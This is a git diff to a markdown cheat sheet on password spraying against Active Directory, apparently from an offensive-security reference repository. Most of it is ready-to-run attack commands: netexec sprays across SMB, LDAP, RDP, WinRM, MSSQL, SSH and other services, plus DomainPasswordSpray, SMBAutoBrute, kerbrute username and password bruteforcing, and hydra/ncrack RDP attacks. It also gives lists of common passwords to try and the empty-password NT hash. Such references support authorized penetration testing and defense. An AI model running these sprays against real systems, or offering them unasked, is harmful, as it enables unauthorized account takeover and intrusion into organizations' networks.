Pwd spraying update

docs/active-directory/pwd-spraying.md

@@ -6,75 +6,82 @@ Password spraying refers to the attack method that takes a large number of usern
 
 Most of the time the best passwords to spray are :
 
-- `P@ssw0rd01`, `Password123`, `Password1`, `Hello123`, `mimikatz`
+- Passwords: `P@ssw0rd01`, `Password123`, `Password1`,
-- `Welcome1`/`Welcome01`
+- Common password: `Welcome1`/`Welcome01`, `Hello123`, `mimikatz`
 - $Companyname1:`$Microsoft1`
 - SeasonYear: `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
-- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
+- Default AD password with simple mutations such as number-1, special character iteration (`*`,`?`,`!`,`#`)
-- Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)
+- Empty Password: NT hash is `31d6cfe0d16ae931b73c59d7e0c089c0`
 
-
+:warning: be careful with the account lockout !
-## Kerberos pre-auth bruteforcing
-
-Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
-
-> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.
-
-* Username bruteforce
-  ```powershell
-  root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
-  ```
-* Password bruteforce
-  ```powershell
-  root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
-  ```
-* Password spray
-  ```powershell
-  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
-  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
-  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
-  ```
 
 
 ## Spray a pre-generated passwords list
 
-* Using `netexec` and `mp64` to generate passwords and spray them against SMB services on the network.
+* Using [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
   ```powershell
-  netexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
+  nxc smb 10.0.0.1 -u /path/to/users.txt -p Password123
+  nxc smb 10.0.0.1 -u Administrator -p /path/to/passwords.txt
+  
+  nxc smb targets.txt -u Administrator -p Password123 -d domain.local
+  nxc ldap targets.txt -u Administrator -p Password123 -d domain.local
+  nxc rdp targets.txt -u Administrator -p Password123 -d domain.local
+  nxc winrm targets.txt -u Administrator -p Password123 -d domain.local
+  nxc mssql targets.txt -u Administrator -p Password123 -d domain.local
+  nxc wmi targets.txt -u Administrator -p Password123 -d domain.local
+
+  nxc ssh targets.txt -u Administrator -p Password123
+  nxc vnc targets.txt -u Administrator -p Password123
+  nxc ftp targets.txt -u Administrator -p Password123
+  nxc nfs targets.txt -u Administrator -p Password123
   ```
-* Using `DomainPasswordSpray` to spray a password against all users of a domain.
+
+* Using [hashcat/maskprocessor](https://github.com/hashcat/maskprocessor) to generate passwords following a specific rule
+  ```powershell
+  nxc smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
+  ```
+
+* Using [dafthack/DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) to spray a password against all users of a domain.
   ```powershell
-  # https://github.com/dafthack/DomainPasswordSpray
   Invoke-DomainPasswordSpray -Password Summer2021!
-  # /!\ be careful with the account lockout !
   Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
   ```
-* Using `SMBAutoBrute`.
+
+* Using [shellntel-acct/scripts/SMBAutoBrute](https://github.com/shellntel-acct/scripts/blob/master/Invoke-SMBAutoBrute.ps1).
   ```powershell
+  Invoke-SMBAutoBrute -PasswordList "jennifer, yankees" -LockoutThreshold 3
   Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
   ```
 
 
-## Spray passwords against the RDP service
-
-* Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services.
-  ```powershell
-  git clone https://github.com/xFreed0m/RDPassSpray
-  python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
-  ```
-* Using [hydra](https://github.com/vanhauser-thc/thc-hydra) and [ncrack](https://github.com/nmap/ncrack) to target RDP services.
-  ```powershell
-  hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
-  ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
-  ```
-
-
 ## BadPwdCount attribute
 
-> The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
+> The number of times the user tried to log on to the account using an incorrect password. A value of `0` indicates that the value is unknown.
 
 ```powershell
 $ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
 LDAP        10.0.2.11       389    dc01       Guest      badpwdcount: 0 pwdLastSet: <never>
 LDAP        10.0.2.11       389    dc01       krbtgt     badpwdcount: 0 pwdLastSet: <never>
 ```
+
+
+## Kerberos pre-auth bruteforcing
+
+Using [ropnop/kerbrute](https://github.com/ropnop/kerbrute), a tool to perform Kerberos pre-auth bruteforcing.
+
+> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.
+
+* Username bruteforce
+  ```powershell
+  ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
+  ```
+* Password bruteforce
+  ```powershell
+  ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
+  ```
+* Password spray
+  ```powershell
+  ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
+  ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
+  ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
+  ```